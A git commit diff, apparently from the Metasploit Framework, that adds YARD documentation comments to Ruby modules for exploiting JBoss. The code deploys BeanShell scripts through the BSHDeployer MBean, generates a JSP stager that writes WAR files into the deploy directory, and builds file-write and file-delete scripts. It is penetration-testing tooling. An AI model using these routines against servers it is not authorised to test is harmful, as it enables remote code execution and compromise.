Added YARD documentation to lib/msf/http/jboss
parent
2b59337e9a
commit
fd40a68525
|
@ -1,5 +1,9 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::JBoss::Base
|
||||
# Call the specified uri to deploy the payload / stager
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
# @param num_attempts [Integer] The number of attempts
|
||||
# @return [ClientRequest] or nil
|
||||
def deploy(opts = {}, num_attempts = 5)
|
||||
uri = opts['uri']
|
||||
|
||||
|
|
|
@ -3,6 +3,9 @@ module Msf::HTTP::JBoss::BeanShell
|
|||
|
||||
DEFAULT_PACKAGES = %w{ deployer scripts }
|
||||
|
||||
# Try to deploy a BSH script using different packages
|
||||
# @param [String] A BSH script
|
||||
# @return [String] the package used to deploy the script or nil if it fails
|
||||
def deploy_bsh(bsh_script)
|
||||
package = nil
|
||||
|
||||
|
@ -21,6 +24,10 @@ module Msf::HTTP::JBoss::BeanShell
|
|||
package
|
||||
end
|
||||
|
||||
# Try to deploy a BSH script using the specified package
|
||||
# @param [String] A BSH script
|
||||
# @param [String] The package used to deploy the script
|
||||
# @return [Boolean] Wether the script get deployed or not
|
||||
def deploy_package(bsh_script, package)
|
||||
success = false
|
||||
|
||||
|
@ -43,12 +50,15 @@ module Msf::HTTP::JBoss::BeanShell
|
|||
success
|
||||
end
|
||||
|
||||
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
|
||||
def invoke_bsh_script(bsh_script, pkg)
|
||||
# Invokes bsh_script on the JBoss AS via BSHDeployer
|
||||
# @param [String] A BSH script
|
||||
# @param [String] The package used to deploy the script
|
||||
# @return [ClientRequest]
|
||||
def invoke_bsh_script(bsh_script, package)
|
||||
params = { }
|
||||
params.compare_by_identity
|
||||
params['action'] = 'invokeOpByName'
|
||||
params['name'] = "jboss.#{pkg}:service=BSHDeployer"
|
||||
params['name'] = "jboss.#{package}:service=BSHDeployer"
|
||||
params['methodName'] = 'createScriptDeployment'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg0'] = bsh_script #Rex::Text.uri_encode(bsh_script)
|
||||
|
|
|
@ -1,6 +1,9 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::JBoss::BeanShellScripts
|
||||
|
||||
|
||||
# Generate a BSH script
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
# @return [String] A BSH script
|
||||
def generate_bsh(type, opts ={})
|
||||
bean_shell = nil
|
||||
case type
|
||||
|
@ -13,9 +16,10 @@ module Msf::HTTP::JBoss::BeanShellScripts
|
|||
bean_shell
|
||||
end
|
||||
|
||||
# The following jsp script will write the exploded WAR file to the deploy/
|
||||
# Generate a stager to write the exploded WAR file to the deploy/
|
||||
# directory. This is used to bypass the size limit for GET/HEAD requests
|
||||
# Dynamic variables, only used if we need a stager
|
||||
# @param [String] The name of the app to deploy
|
||||
# @return [String] The jsp stager
|
||||
def stager_jsp(app_base)
|
||||
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
|
@ -47,6 +51,9 @@ module Msf::HTTP::JBoss::BeanShellScripts
|
|||
stager_jsp
|
||||
end
|
||||
|
||||
# Generate a BSH script to deploy the WAR
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
# @return [String] A BSH script to deploy the WAR
|
||||
def create_file_bsh(opts = {})
|
||||
dir = opts[:dir]
|
||||
file = opts[:file]
|
||||
|
@ -72,6 +79,9 @@ fstream.close();
|
|||
payload_bsh_script
|
||||
end
|
||||
|
||||
# Generate a BSH script to delete an application
|
||||
# @param opts [Hash] Hash of configuration options.
|
||||
# @return [String] A BSH script to delete an application
|
||||
def delete_files_bsh(opts = {})
|
||||
script = "String jboss_home = System.getProperty(\"jboss.server.home.dir\");\n"
|
||||
opts.values.each do |v|
|
||||
|
|
Loading…
Reference in New Issue